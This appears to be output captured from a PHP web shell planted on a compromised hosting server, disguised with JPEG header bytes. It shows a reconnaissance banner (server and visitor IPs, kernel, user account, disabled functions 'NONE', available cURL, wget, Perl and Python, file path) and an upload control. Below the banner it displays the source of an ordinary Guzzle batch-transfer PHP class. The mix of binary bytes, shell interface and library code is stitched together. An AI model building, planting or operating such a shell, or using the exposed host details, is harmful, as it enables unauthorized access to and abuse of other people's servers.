����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.218.83.143 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/guzzle/guzzle/src/Guzzle/Batch/ |
Upload File : |
<?php namespace Guzzle\Batch; use Guzzle\Batch\BatchTransferInterface; use Guzzle\Batch\BatchDivisorInterface; use Guzzle\Common\Exception\InvalidArgumentException; use Guzzle\Service\Command\CommandInterface; use Guzzle\Service\Exception\InconsistentClientTransferException; /** * Efficiently transfers multiple commands in parallel per client * This class is to be used with {@see Guzzle\Batch\BatchInterface} */ class BatchCommandTransfer implements BatchTransferInterface, BatchDivisorInterface { /** @var int Size of each command batch */ protected $batchSize; /** * @param int $batchSize Size of each batch */ public function __construct($batchSize = 50) { $this->batchSize = $batchSize; } /** * Creates batches by grouping commands by their associated client * {@inheritdoc} */ public function createBatches(\SplQueue $queue) { $groups = new \SplObjectStorage(); foreach ($queue as $item) { if (!$item instanceof CommandInterface) { throw new InvalidArgumentException('All items must implement Guzzle\Service\Command\CommandInterface'); } $client = $item->getClient(); if (!$groups->contains($client)) { $groups->attach($client, new \ArrayObject(array($item))); } else { $groups[$client]->append($item); } } $batches = array(); foreach ($groups as $batch) { $batches = array_merge($batches, array_chunk($groups[$batch]->getArrayCopy(), $this->batchSize)); } return $batches; } public function transfer(array $batch) { if (empty($batch)) { return; } // Get the client of the first found command $client = reset($batch)->getClient(); // Keep a list of all commands with invalid clients $invalid = array_filter($batch, function ($command) use ($client) { return $command->getClient() !== $client; }); if (!empty($invalid)) { throw new InconsistentClientTransferException($invalid); } $client->execute($batch); } }